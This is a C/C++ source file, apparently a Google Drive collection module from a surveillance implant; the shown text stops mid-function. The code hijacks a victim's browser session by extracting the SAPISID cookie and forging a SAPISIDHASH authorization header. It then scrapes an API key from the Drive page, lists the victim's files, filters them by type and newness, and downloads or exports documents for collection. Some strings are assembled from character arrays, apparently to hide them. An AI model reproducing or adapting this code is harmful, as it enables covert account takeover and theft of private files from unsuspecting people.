#include <Windows.h>
#include <stdio.h>
#include <time.h>
#include "social.h"
#include "globals.h"
#include "proto.h"
#include "debug.h"
#include "zmem.h"
#include "utils.h"
#include "facebook.h"
#include "JSON.h"
#include "googledocs.h"
#include "log_cloudfile.h"
#include "conf.h"
#include "version.h"
#include "base64.h"

#include "sha1.h"


//google docs handler
DWORD GoogleDocsHandler(LPSTR pszCookie)
{
	if (!ConfIsModuleEnabled(L"file"))
		return SOCIAL_REQUEST_SUCCESS;

	#ifdef _DEBUG
		OutputDebug(L"[*] GoogleDocsHandler\n");
	#endif	

	GD_PARAMS Params;	
	DWORD	  dwRet, dwErr = SOCIAL_REQUEST_BAD_COOKIE;
	GD_FILE_LIST DocList  = {0};
	GD_FILE_LIST FileList = {0};
	
	SecureZeroMemory(&Params, sizeof(Params));

	dwRet = GD_GetAuthParams(&Params, pszCookie);
	if(dwRet == GD_E_SUCCESS)
	{
		LPWSTR pwszFilter[] = {L"zip", L"pdf", L"xlsx", L"xls", L"doc", L"docx", L"txt", L"\0"};

		//get the list of files to download
		dwRet = GD_GetFileList_V2(&DocList, &FileList, &Params, pwszFilter, pszCookie);
		if(dwRet == GD_E_SUCCESS)
		{
			//download the documents
			dwRet = GD_DownloadFiles(&DocList, &Params, pszCookie);
			if(dwRet == GD_E_SUCCESS)
				dwErr = SOCIAL_REQUEST_SUCCESS;

			//download the files
			dwRet = GD_DownloadFiles(&FileList, &Params, pszCookie);
			if(dwRet == GD_E_SUCCESS)
				dwErr = SOCIAL_REQUEST_SUCCESS;
		}
		else if((dwRet == GD_E_SKIP_FILE) && ((DocList.Items == 0) && (FileList.Items == 0)))
		{
			//no more files to donwload
			dwErr = SOCIAL_REQUEST_SUCCESS;
		}
	}
	
	GD_DeleteFileList(&DocList.List);

	GD_DeleteFileList(&FileList.List);

	//delete the connection parameters
	GD_DeleteConnParams(&Params);

	return dwErr;
}


//delete all the connection parameters
void GD_DeleteConnParams(PGD_PARAMS pParams)
{
	znfree(&pParams->pszDriveID);
	znfree(&pParams->pszToken);
	znfree(&pParams->pszDevKey);
	znfree(&pParams->pszAuthHash);
	znfree(&pParams->pszAuthOrig);

	pParams->dwTimestampDoc  = 0;
	pParams->dwTimestampFile = 0;
}

/*
[
	["xsrf","AC4w5VgABCLsQkl7BPDhBSxn6tgdB5R2Gg:1419841504609",["09281402559468684799"]],
	"YYkyuUoBAAA.A6hzlcceztZTn8iCc-cK8g.PmEyMCnH8bFPh1aUpr4SxA",
	"https://drive.google.com/drive?authuser\u003d0"
]
*/
//get the token parameter and the developer key
DWORD GD_ExtractConnParams(LPSTR pszBuffer, PGD_PARAMS pParams)
{
	LPSTR pszTmp = NULL;
	int	i=0;

	//znfree(&pParams->pszToken);

	////search the string "xsrf"
	//pszTmp = strstr(pszBuffer, "xsrf\"");
	//if(pszTmp == NULL)
	//{
	//	//#ifdef _DEBUG
	//	//	OutputDebugString(L"[!] Connection parameter not found (xsrf).");
	//	//#endif

	//	return GD_E_NO_PARAMS;
	//}
	//pszBuffer = pszTmp;

	////search 3 ','
	//for(i=0; (i<3) && (pszTmp != NULL); i++)
	//{
	//	pszTmp = strstr(pszTmp, ",");
	//	if(pszTmp)
	//		pszTmp += 1;
	//}
	//if(pszTmp == NULL)
	//{
	//	//#ifdef _DEBUG
	//	//	OutputDebugString(L"[!] Connection parameter not found (0).");
	//	//#endif
	//	
	//	return GD_E_NO_PARAMS;
	//}

	////skip the first " char
	//pszTmp += 1;

	////get the token string till the next " char ("o3Ujh0oBAAA.A6hzlcceztZTn8iCc-cK8g.5ijjtnDaZyB3wsee3f9saQ")
	//for(i=0; (i<60) && (pszTmp[i] != 0); i++)
	//{
	//	if(pszTmp[i] == '"')
	//	{
	//		i += 1;
	//		pParams->pszToken = (LPSTR)malloc(i);
	//		if(pParams->pszToken == NULL)
	//		{
	//			//#ifdef _DEBUG
	//			//	OutputDebugString(L"[!] Memory allocation failed (token).");
	//			//#endif

	//			return GD_E_ALLOC;
	//		}

	//		SecureZeroMemory(pParams->pszToken, i);
	//		//save the token
	//		strncpy_s(pParams->pszToken, i, pszTmp, i-1);

	//		break;
	//	}
	//}

	//if(pParams->pszToken == NULL)
	//{
	//	//#ifdef _DEBUG
	//	//	OutputDebugString(L"[!] Connection parameter not found (token).");
	//	//#endif

	//	return GD_E_NO_PARAMS;
	//}

	/* get the developer key (es: AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4)
	"drive_main","drive_fe_2014.50-Thu_RC5"],[1,1,["AHbMEF2xKMrXFXg+8RfBN+PRo5nX8BN2L9BS9qxaztiVegpHbMeyhKjFEWfDRB6gac30WQELDPmq"],
	"AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4"
	*/
	
	if(pszBuffer == NULL)
		return GD_E_NO_PARAMS;

	//search the string "drive_main",
	pszTmp = strstr(pszBuffer, "drive_main\",");
	if(pszTmp == NULL)
	{
		//#ifdef _DEBUG
		//	OutputDebugString(L"[!] Connection parameter not found (drive_main).");
		//#endif
		
		return GD_E_NO_PARAMS;
	}

	//search 2 "]"
	for(i=0; (i<2) && (pszTmp != NULL); i++)
	{
		pszTmp = strstr(pszTmp, "]");
		if(pszTmp)
			pszTmp += 1;
	}

	if(pszTmp == NULL)
	{
		#ifdef _DEBUG
			OutputDebugString(L"[!] Connection parameter not found (1).");
		#endif		

		return GD_E_NO_PARAMS;
	}

	//search the firts " char
	pszTmp = strstr(pszTmp, "\"");
	if(pszTmp == NULL)
	{
		//#ifdef _DEBUG
		//	OutputDebugString(L"[!] Connection parameter not found (2).");
		//#endif
		
		return GD_E_NO_PARAMS;
	}
	pszTmp += 1;

	//get the developer key string till the next " char ("AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4")
	for(i=0; (i<50) && (pszTmp[i] != 0); i++)
	{
		if(pszTmp[i] == '"')
		{
			i += 1;
			pParams->pszDevKey = (LPSTR)malloc(i);
			if(pParams->pszDevKey == NULL)
			{
				//#ifdef _DEBUG
				//	OutputDebugString(L"[!] Memory allocation failed (key).");
				//#endif

				return GD_E_ALLOC;
			}
			SecureZeroMemory(pParams->pszDevKey, i);

			//save the token
			strncpy_s(pParams->pszDevKey, i, pszTmp, i-1);

			return GD_E_SUCCESS;
		}
	}

	return GD_E_NO_PARAMS;
}



//convert the 5 dword of sha1 in a hex string
char *GD_Sha1ToHex(unsigned int pszHash[5])
{
	char *pszHex = (char*)malloc(128);
	memset(pszHex, 0, 128);

	for(int i=0, j=0; i < 5; i++, j+=8)
	{
		sprintf(&pszHex[j], "%08x", pszHash[i]);
	}	

	return pszHex;
}


LPSTR GD_ExtractCookie(LPSTR pszCookieName, LPSTR pszCookie)
{
	LPSTR pBuf=NULL, pEnd=NULL, pszVal=NULL;
	DWORD dwLen=0;

	if((pszCookieName == NULL) || (pszCookie == NULL))
		return NULL;

	//extract the cookie value
	pBuf = strstr(pszCookie, pszCookieName);
	if(pBuf == NULL)
	{
		return NULL;
	}
	
	//extract the cookie value
	pBuf += strlen(pszCookieName) + 1; //add 1 char for the '='
	pEnd = strstr(pBuf, ";");
	if(!pEnd)
	{
		pEnd =  pBuf;
		pEnd += strlen(pBuf);
	}

	dwLen = pEnd - pBuf;

	pszVal = (LPSTR)zalloc(dwLen+1);
	if(pszVal == NULL)
	{
		return NULL;
	}

	strncpy(pszVal, pBuf, dwLen);

	return pszVal;
}

//connect to google drive and extract connection parameters
DWORD GD_GetAuthParams(PGD_PARAMS pParams, LPSTR pszCookie)
{
	LPWSTR  pwszHeader=NULL, pwszURI=NULL;
	LPSTR	pszRecvBuffer=NULL;
	DWORD	dwRet, dwBufferSize=0, dwSize=0, dwLen=0, dwErr=GD_E_GENERIC;
	CHAR    pszBuf[128];	

	//search for the SAPISID cookie necessary for the authentication process
	LPSTR pszSAPISID = GD_ExtractCookie("SAPISID", pszCookie);
	if(pszSAPISID == NULL)
	{
		return GD_E_MISSING_COOKIE;
	}

	dwSize = 2048;
	pwszHeader = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
	pwszURI    = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
	
	//get conn parameters
	//swprintf_s(pwszHeader, dwSize, L"Host: drive.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nUser-Agent: %s\r\nReferer: https://drive.google.com/?authuser=0\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4", SOCIAL_USER_AGENT);	
	wcscpy_s(pwszHeader, dwSize, L"Host: drive.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nReferer: https://drive.google.com/?authuser=0\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4");
	dwRet = HttpSocialRequest(L"drive.google.com",
							  L"GET", 
							  L"/drive/?rfd=1",
							  pwszHeader, 
							  443, 
							  NULL, 
							  0, 
							  (LPBYTE *)&pszRecvBuffer, 
							  &dwBufferSize, 
							  pszCookie);
	SecureZeroMemory(pwszURI, dwSize);

	if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
	{
		znfree(&pszRecvBuffer);
		znfree(&pwszHeader);
		znfree(&pwszURI);
		return GD_E_HTTP;
	}

	//extract the token value
	dwRet = GD_ExtractConnParams(pszRecvBuffer, pParams);
	znfree(&pszRecvBuffer);

	if(dwRet != GD_E_SUCCESS)
	{
		return dwRet;
	}

	//origin url
	pParams->pszAuthOrig = (LPSTR)zalloc(strlen("https://drive.google.com") + 1);
	strcpy(pParams->pszAuthOrig, "https://drive.google.com");

	//hash the cookie with other values	
	SHA1Context pSha1Context;

	//hash the SAPISID cookie and the value of the 'Origin' header in the next HTTP request
	sprintf(pszBuf, "%s %s", pszSAPISID, pParams->pszAuthOrig);	
	znfree(&pszSAPISID);

	SHA1Reset(&pSha1Context);
	SHA1Input(&pSha1Context, (const UCHAR*)pszBuf, strlen(pszBuf));
	SHA1Result(&pSha1Context);
	pParams->pszAuthHash = GD_Sha1ToHex(pSha1Context.Message_Digest);

	//get some account information
	swprintf_s(pwszHeader,
			   dwSize,
			   L"Host: clients6.google.com\r\nConnection: keep-alive\r\nOrigin: %S\r\nX-JavaScript-User-Agent: google-api-javascript-client/0.1\r\nX-Goog-AuthUser: 0\r\nAuthorization: SAPISIDHASH %S\r\nAccept: */*\r\nReferer: https://drive.google.com/drive/\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4",
			   pParams->pszAuthOrig, pParams->pszAuthHash);

	//L"/drive/v2internal/about?fields=kind%2Cuser%2CrootFolderId&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",
	swprintf_s(pwszURI, dwSize, L"/drive/v2internal/about?fields=kind%%2Cuser%%2CrootFolderId&key=%S", pParams->pszDevKey);

	dwRet = HttpSocialRequest(L"clients6.google.com",
							  L"GET",
							  pwszURI,							  
							  pwszHeader,
							  443, 
							  NULL, 
							  0, 
							  (LPBYTE *)&pszRecvBuffer,
							  &dwBufferSize, 
							  pszCookie);
	znfree(&pwszHeader);
	znfree(&pwszURI);

	//#ifdef _DEBUG
	//	if(pszRecvBuffer)
	//		GD_DumpBuffer(L"k:\\GDocs\\gd_accountinfo.html", pszRecvBuffer, strlen(pszRecvBuffer));
	//#endif

	if((dwRet != SOCIAL_REQUEST_SUCCESS) || (pszRecvBuffer == NULL))
	{	
		znfree(&pszRecvBuffer);		
		return GD_E_HTTP;
	}

	JSONValue *jValue;
	JSONObject jObj;

	//parse the list (json structure)
	jValue = JSON::Parse(pszRecvBuffer);

	//free buffer
	znfree((LPVOID*)&pszRecvBuffer);

	if(jValue == NULL)
		return GD_E_INVALID_JSON_DATA;

	//get the root folder id
	if(jValue->IsObject())
	{
		jObj = jValue->AsObject();

		if(jObj[L"rootFolderId"]->IsString())
		{
			dwSize = wcslen(jObj[L"rootFolderId"]->AsString().c_str());
			if(dwSize > 0)
			{
				size_t dwConv = 0;

				pParams->pszDriveID = (LPSTR)zalloc(dwSize+1);
				wcstombs_s(&dwConv, pParams->pszDriveID, dwSize+1, jObj[L"rootFolderId"]->AsString().c_str(), _TRUNCATE);

				if(dwConv == 0)
				{
					znfree(&pParams->pszDriveID);
					dwErr = GD_E_GENERIC;
				}
				else
					dwErr = GD_E_SUCCESS;
			}
		}
	}

	//free json structure
	delete jValue;

	return dwErr;
}


//return the file type parsing the json file array
GD_ITEM_TYPE GD_GetFileType(JSONObject jObj)
{	
	WCHAR szMimeType[] = { L'm', L'i', L'm', L'e', L'T', L'y', L'p', L'e', L'\0'};
	WCHAR szFileSize[] = { L'f', L'i', L'l', L'e', L'S', L'i', L'z', L'e', L'\0'};
	WCHAR szFileExt[]  = { L'f', L'i', L'l', L'e', L'E', L'x', L't', L'e', L'n', L's', L'i', L'o', L'n', L'\0'};

	if(!jObj[szMimeType]->IsString())
		return GD_ITEM_UNKNOWN;	
	
	//verify if it's a directory
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.folder") != NULL)
		return GD_ITEM_DIR;

	//verify if it's a google spreadsheet (xlsx)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.spreadsheet") != NULL)
		return GD_ITEM_XLS;

	//verify if it's a google spreadsheet (xlsx)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.ritz") != NULL)
		return GD_ITEM_XLS;	

	//verify if it's a google presentation (ppt)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.presentation") != NULL)
		return GD_ITEM_PPT;	

	//verify if it's a google presentation (ppt)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.punch") != NULL)
		return GD_ITEM_PPT;

	//verify if it's a google drawing (jpg)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.drawing") != NULL)
		return GD_ITEM_JPG;	

	//verify if it's a google document (docx)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.document") != NULL)
		return GD_ITEM_DOC;	

	//verify if it's a google document (docx)
	if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.kix") != NULL)
		return GD_ITEM_DOC;	

	//check the file size
	if(!jObj[szFileSize]->IsString())
		return GD_ITEM_UNKNOWN;

	if(jObj[szFileSize]->AsString().c_str() == NULL)
		return GD_ITEM_UNKNOWN;

	return GD_ITEM_FILE;
}


//verify if the size of the file is valid and return the size in bytes
DWORD GD_GetFileSize(JSONObject jFileObj, GD_ITEM_TYPE FileType)
{
	WCHAR pwszFileSize[] = { L'f', L'i', L'l', L'e', L'S', L'i', L'z', L'e', L'\0'};
	double dSize = 0;

	//get file size (continue if the file size is not a number of if the size is 0)
	if(!jFileObj[pwszFileSize]->IsString())
		return 0;

	//if the file size is not a number
	dSize = _wtof(jFileObj[pwszFileSize]->AsString().c_str());
	if((dSize == 0) && (FileType == GD_ITEM_FILE))
		return 0;

	if(((DWORD)dSize) > GD_MAX_FILE_SIZE)
		return 0;

	return ((DWORD)dSize);
}


//get google_drive and google_docs file list
DWORD GD_GetFileList_V2(PGD_FILE_LIST pDocList, PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPWSTR *pwszFileType, LPSTR pszCookie)
{	
	LPWSTR	  pwszHeader=NULL, pwszURI=NULL;
	LPSTR	  pszRecvBuffer=NULL, pszSendBuffer=NULL;
	DWORD	  dwRet, dwBufferSize=0, dwFiles=0, i=0, dwSize=0, dwErr=GD_E_GENERIC, dwNrMail=100;
	JSONValue *jValue;
	JSONObject jObj;
	JSONArray jFiles, jArray;

	dwSize		= 2048;
	pwszHeader  = (LPWSTR)zalloc(dwSize*sizeof(WCHAR));
	pwszURI     = (LPWSTR)zalloc(dwSize*sizeof(WCHAR));

	//file request
	swprintf_s(pwszHeader,
			   dwSize,
			   L"Host: clients6.google.com\r\nConnection: keep-alive\r\nOrigin: %S\r\nX-JavaScript-User-Agent: google-api-javascript-client/0.1\r\nX-Goog-AuthUser: 0\r\nAuthorization: SAPISIDHASH %S\r\nAccept: */*\r\nReferer: https://drive.google.com/drive/\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4",
			   pParams->pszAuthOrig, pParams->pszAuthHash);

	//L"/drive/v2internal/files?q=trashed%20%3D%20false&fields=kind%2Citems(kind%2CcreatedDate%2Cdescription%2CfileExtension%2CfileSize%2Cid%2ClastViewedByMeDate%2CmimeType%2CmodifiedDate%2Ctitle)&appDataFilter=NO_APP_DATA&maxResults=50&sortBy=LAST_MODIFIED&reverseSort=false&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",
	swprintf_s(pwszURI,
			   dwSize,
			   //OK //L"/drive/v2internal/files?q=trashed%%20%%3D%%20false&fields=kind%%2Citems(kind%%2CcreatedDate%%2Cdescription%%2CfileExtension%%2CfileSize%%2Cid%%2ClastViewedByMeDate%%2CmimeType%%2CmodifiedDate%%2Ctitle)&appDataFilter=NO_APP_DATA&maxResults=%d&sortBy=LAST_MODIFIED&reverseSort=false&key=%S",
			   L"/drive/v2internal/files?q=trashed%%20%%3D%%20false&fields=kind%%2Citems(kind%%2CcreatedDate%%2Cdescription%%2CfileExtension%%2CfileSize%%2Cid%%2ClastViewedByMeDate%%2CmimeType%%2CmodifiedDate%%2Ctitle%%2Cparents(kind%%2Cid%%2CisRoot))&appDataFilter=NO_APP_DATA&maxResults=%d&sortBy=LAST_MODIFIED&reverseSort=false&key=%S",
			   dwNrMail, pParams->pszDevKey);
	

	dwRet = HttpSocialRequest(L"clients6.google.com",
							  L"GET",
							  //L"/drive/v2internal/files?q=trashed%20%3D%20false&spaces=DRIVE&maxResults=150&sortBy=LAST_MODIFIED&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",							  
							  pwszURI,
							  pwszHeader,
							  443, 
							  NULL, 
							  0, 
							  (LPBYTE *)&pszRecvBuffer,
							  &dwBufferSize, 
							  pszCookie);
	
	znfree(&pwszURI);
	znfree(&pwszHeader);
	#ifdef _DEBUG
		if(pszRecvBuffer)
			GD_DumpBuffer(L"k:\\GDocs\\gd_filelist.html", pszRecvBuffer, strlen(pszRecvBuffer));
	#endif

	if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize < 6))
	{
		znfree(&pszRecvBuffer);
		return GD_E_HTTP;
	}	

	//parse the list (json structure)
	jValue = JSON::Parse(pszRecvBuffer);	

	znfree(&pszRecvBuffer);

	if(jValue != NULL)
	{
		//get the last saved timestamp for documents
		dwRet = GD_GetLastTimeStamp("DC", &pParams->dwTimestampDoc, pParams->pszDriveID);
		if(dwRet != GD_E_SUCCESS)
		{
			delete jValue;
			return GD_E_GENERIC;
		}

		//get the last saved timestamp for files
		dwRet = GD_GetLastTimeStamp("FL", &pParams->dwTimestampFile, pParams->pszDriveID);
		if(dwRet != GD_E_SUCCESS)
		{
			delete jValue;
			return GD_E_GENERIC;
		}

		if(jValue->IsObject())
		{
			jObj = jValue->AsObject();

			if(jObj[L"items"]->IsArray())
			{
				//array of objects
				jArray = jObj[L"items"]->AsArray();
		
				SecureZeroMemory(pFileList, sizeof(GD_FILE_LIST));

				//loop the array of objects
				for(DWORD i=0; i<jArray.size(); i++)
				{
					if(!jArray[i]->IsObject())
						continue;

					//file object
					jObj = jArray[i]->AsObject();

					PGD_FILE pFile = NULL;

					//get file information (id, size and timestamp)
					dwRet = GD_GetFileInfo_V2(&pFile, jObj, pParams->dwTimestampDoc, pParams->dwTimestampFile);
					if(dwRet == GD_E_SUCCESS)
					{
						int  nPos=0;
						BOOL bAdded=FALSE;

						dwErr = dwRet;

						//filter by file extension
						for(int j=0; pwszFileType[j][0] != 0; j++)
						{
							//length of the filetype
							nPos = wcslen(pFile->pwszFileName) - wcslen(pwszFileType[j]);
							if(nPos < 0)
								continue;

							//verify if file extension matches
							if(_wcsicmp(&pFile->pwszFileName[nPos], pwszFileType[j]))
								continue;

							if(GD_IsGoogleDoc(pFile->FileType))
							{
								//add to the document list
								GD_AddFileToList(&pDocList->List, pFile);
								//increase the files number
								pDocList->Items++;
							}
							else
							{
								//add to the file list
								GD_AddFileToList(&pFileList->List, pFile);
								//increase the files number
								pFileList->Items++;
							}

							bAdded = TRUE;

							break;
						}

						if(!bAdded)
						{
							GD_DeleteFile(pFile);
							pFile = NULL;
						}
					}
					else
					{	
						GD_DeleteFile(pFile);
						pFile = NULL;

						if((dwRet == GD_E_SKIP_FILE) && ((pFileList->Items > 0) || (pDocList->Items > 0)))
							dwErr = GD_E_SUCCESS;
						else
							dwErr = dwRet;
					}
				}

				#ifdef _DEBUG
				if(pDocList->Items > 0)
					GD_PrintList(pDocList->List);
				if(pFileList->Items > 0)
					GD_PrintList(pFileList->List);
				#endif
			}
		}
	}
	
	delete jValue;

	return dwErr;
}

//get the timestamp of the file (modified date or creation date)
//the date is in format 2015-01-22T16:18:24.166Z
DWORD GD_GetFileTimestamp(JSONObject jFileObj)
{	
	WCHAR  pwszModDate[]	= { L'm', L'o', L'd', L'i', L'f', L'i', L'e', L'd', L'D', L'a', L't', L'e', L'\0'};
	WCHAR  pwszCreateDate[] = { L'c', L'r', L'e', L'a', L't', L'e', L'D', L'a', L't', L'e', L'\0'};
	WCHAR  pwszBuf[32] = {0};
	DWORD  dwLen=0;
	INT64  iTime64;
	struct tm time;
	
	//get time stamp
	if((!jFileObj[pwszModDate]->IsString()) || (jFileObj[pwszModDate]->AsString().c_str() == NULL))
		return 0;
	
	wcscpy_s(pwszBuf, sizeof(pwszBuf)/2, jFileObj[pwszModDate]->AsString().c_str());

	dwLen = wcslen(pwszBuf);	
	if(dwLen < 18)
		return 0;

	SecureZeroMemory(&time, sizeof(time));
	//extract the date
	time.tm_year = _wtoi(&pwszBuf[0]) - 1900;
	time.tm_mon  = _wtoi(&pwszBuf[5]) - 1;
	time.tm_mday = _wtoi(&pwszBuf[8]);

	time.tm_hour = _wtoi(&pwszBuf[11]);
	time.tm_min  = _wtoi(&pwszBuf[14]);
	time.tm_sec  = _wtoi(&pwszBuf[17]);	

	iTime64 = _mkgmtime64(&time);
	if(iTime64 == -1)
		return 0;
	
	return (DWORD)iTime64;
}

//extract file info from a json array
DWORD GD_GetFileInfo_V2(PGD_FILE *pFile, JSONObject jFileObj, DWORD dwSavedTimestampDoc, DWORD dwSavedTimestampFile)
{	
	WCHAR		 pwszFileID[]	= { L'i', L'd', L'\0'};
	WCHAR		 pwszFileName[]	= { L't', L'i', L't', L'l', L'e', L'\0'};
	DWORD		 i=0, dwSize=0, dwFileSize=0, dwTimestamp=0, dwCmpTimestamp=0;
	GD_ITEM_TYPE FileType;
	PGD_FILE	 pNewFile = NULL;
	
	if(jFileObj.size() == 0)
		return GD_E_INVALID_JSON_DATA;

	//verify if it's a file or a directory
	if(jFileObj[L"kind"]->IsString())
	{
		if(_wcsicmp(jFileObj[L"kind"]->AsString().c_str(), L"drive#file"))
			return GD_E_SKIP_FILE;
	}

	//check the file id
	if(!jFileObj[pwszFileID]->IsString())
		return GD_E_SKIP_FILE;
	if(jFileObj[pwszFileID]->AsString().c_str() == NULL)
		return GD_E_SKIP_FILE;

	//get the file type
	FileType = GD_GetFileType(jFileObj);
	if((FileType == GD_ITEM_UNKNOWN) || (FileType == GD_ITEM_DIR))
		return GD_E_SKIP_FILE;

	//check the file size except for google docs (we don't have the size)
	if(!GD_IsGoogleDoc(FileType))
	{	
		dwFileSize = GD_GetFileSize(jFileObj, FileType);
		if(dwFileSize == 0)
			return GD_E_SKIP_FILE;

		dwCmpTimestamp = dwSavedTimestampFile;
	}
	else 
	{
		dwCmpTimestamp = dwSavedTimestampDoc;
	}

	dwTimestamp = GD_GetFileTimestamp(jFileObj);
		
	//if the timestamp is < than the last one saved, skip the file
	if(dwTimestamp <= dwCmpTimestamp)		
		return GD_E_SKIP_FILE;

	//create a new file struct
	*pFile = (PGD_FILE)malloc(sizeof(GD_FILE));
	if(*pFile == NULL)
	{
		//#ifdef _DEBUG
		//OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(File))");
		//#endif

		return GD_E_ALLOC;
	}
	pNewFile = *pFile;	
	SecureZeroMemory(pNewFile, sizeof(GD_FILE));
	
	//get the file id
	dwSize = wcslen(jFileObj[pwszFileID]->AsString().c_str()) + 1;
	pNewFile->pwszFileID = (LPWSTR)zalloc(dwSize * sizeof(WCHAR));
	if(pNewFile->pwszFileID == NULL)
	{
		znfree((LPVOID*)pFile);

		//#ifdef _DEBUG
		//OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(FileID))");
		//#endif

		return GD_E_ALLOC;
	}
	wcscpy_s(pNewFile->pwszFileID, dwSize, jFileObj[pwszFileID]->AsString().c_str());

	//get the file name
	WCHAR pwszRoot[] = { L'c', L'l', L'o', L'u', L'd', L':', L'\\', L'G', L'o', L'o', L'g', L'l', L'e', L'D', L'r', L'i', L'v', L'e', L'\\', L'\0'};

	if(jFileObj[pwszFileName]->IsString())
	{
		dwSize = wcslen(jFileObj[pwszFileName]->AsString().c_str()) + wcslen(pwszRoot) + 1;
		pNewFile->pwszFileName = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
		if(pNewFile->pwszFileName == NULL)
		{
			znfree((LPVOID*)&pNewFile->pwszFileID);
			znfree((LPVOID*)pFile);				

			#ifdef _DEBUG
			OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(FileName))");
			#endif

			return GD_E_ALLOC;
		}
		swprintf_s(pNewFile->pwszFileName, dwSize, L"%s%s", pwszRoot, jFileObj[pwszFileName]->AsString().c_str());
		//wcscpy_s(pNewFile->pwszFileName, dwSize, jFileObj[pwszFileName]->AsString().c_str());

		//if the file is a google document, append the extension according to file type
		if(GD_IsGoogleDoc(FileType))
			GD_AddFileExtension(&pNewFile->pwszFileName, FileType);
	}
	else
	{
		return GD_E_INVALID_JSON_DATA;
	}

	//file timestamp
	pNewFile->dwTimestamp = dwTimestamp;

	//save the file type
	pNewFile->FileType = FileType;

	//file size
	pNewFile->dwFileSize = dwFileSize;

	return GD_E_SUCCESS;
}



DWORD GD_GetFile(PGD_FILE pFile,  PGD_PARAMS pParams, LPSTR pszCookie)
{		
	LPWSTR pwszURI=NULL, pwszHost=NULL, pwszHeader=NULL, pwszFrom=NULL, pwszTo=NULL;
	LPSTR  pszRecvBuf=NULL;
	DWORD  dwBufferSize=0, dwRet, dwSize=0;

	pwszURI = (LPWSTR)zalloc(1024 * sizeof(WCHAR));
	if(pwszURI == NULL)
		return GD_E_ALLOC;

	pwszHost = (LPWSTR)zalloc(256 * sizeof(WCHAR));
	if(pwszURI == NULL)
	{
		znfree(&pwszURI);
		return GD_E_ALLOC;
	}

	pwszHeader = (LPWSTR)zalloc(1024 * sizeof(WCHAR));
	if(pwszHeader == NULL)
	{
		znfree(&pwszURI);
		znfree(&pwszHost);
		return GD_E_ALLOC;					
	}

	switch(pFile->FileType)
	{
		case GD_ITEM_DOC:
			swprintf_s(pwszURI, 1024, L"/document/d/%s/export?format=docx",		pFile->pwszFileID);
		break;
				
		case GD_ITEM_XLS:
			swprintf_s(pwszURI, 1024, L"/spreadsheets/d/%s/export?format=xlsx",	pFile->pwszFileID);					
		break;

		case GD_ITEM_PPT:
			swprintf_s(pwszURI, 1024, L"/presentation/d/%s/export/pptx",		pFile->pwszFileID);
		break;

		case GD_ITEM_JPG:					
			swprintf_s(pwszURI, 1024, L"/drawings/d/%s/export/jpeg",			pFile->pwszFileID);
		break;

		case GD_ITEM_FILE:
			swprintf_s(pwszURI, 1024, L"/uc?id=%s&authuser=0&export=download",	pFile->pwszFileID);
		break;
	}

	#ifdef _DEBUG
	OutputDebugStringA(pszCookie);
	OutputDebugStringA("\r\n");
	#endif 

	//http request
	if(GD_IsGoogleDoc(pFile->FileType))	
	{
		wcscpy_s(pwszHost, 256, L"docs.google.com");

		dwRet = HttpSocialRequest(pwszHost,
									L"GET",
									pwszURI,
									L"Connection: keep-alive\r\nAccept: */*",
									443, 
									NULL, 
									0, 
									(LPBYTE *)&pszRecvBuf,
									&dwBufferSize, 
									pszCookie,
									GD_MAX_FILE_SIZE);
		znfree(&pwszURI);
		znfree(&pwszHost);
		znfree(&pwszHeader);

		if(dwRet != SOCIAL_REQUEST_SUCCESS)
		{
			znfree(&pszRecvBuf);		
			return GD_E_HTTP;
		}

		//check doc size
		if(dwBufferSize > GD_MAX_FILE_SIZE)
		{
			znfree(&pszRecvBuf);		
			return GD_E_FILESIZE;
		}

	}
	else
	{
		znfree(&pszRecvBuf);
		wcscpy_s(pwszHost, 256, L"drive.google.com");

		//swprintf(pwszHeader, L"Connection: keep-alive\r\nOrigin: %S\r\nContent-Type: application/x-www-form-urlencoded;charset=utf-8\r\nAuthorization: SAPISIDHASH %S\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nReferer: https://drive.google.com",
		//		 pParams->pszAuthOrig, pParams->pszAuthHash);
		dwRet = HttpSocialRequest(pwszHost,
									L"POST",
									pwszURI,
									L"Content-Type: application/x-www-form-urlencoded;charset=utf-8\r\n",
									443, 
									NULL, 
									0, 
									(LPBYTE *)&pszRecvBuf,
									&dwBufferSize, 
									pszCookie);

		if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize < 5))
		{
			znfree(&pwszURI);
			znfree(&pwszHost);
			znfree(&pszRecvBuf);
			znfree(&pwszHeader);
			return GD_E_HTTP;
		}

		//parse the returned json struct
		JSONValue *jValue=NULL;
		JSONObject jObj;

		jValue = JSON::Parse(&pszRecvBuf[5]);

		//free buffer
		znfree((LPVOID*)&pszRecvBuf);
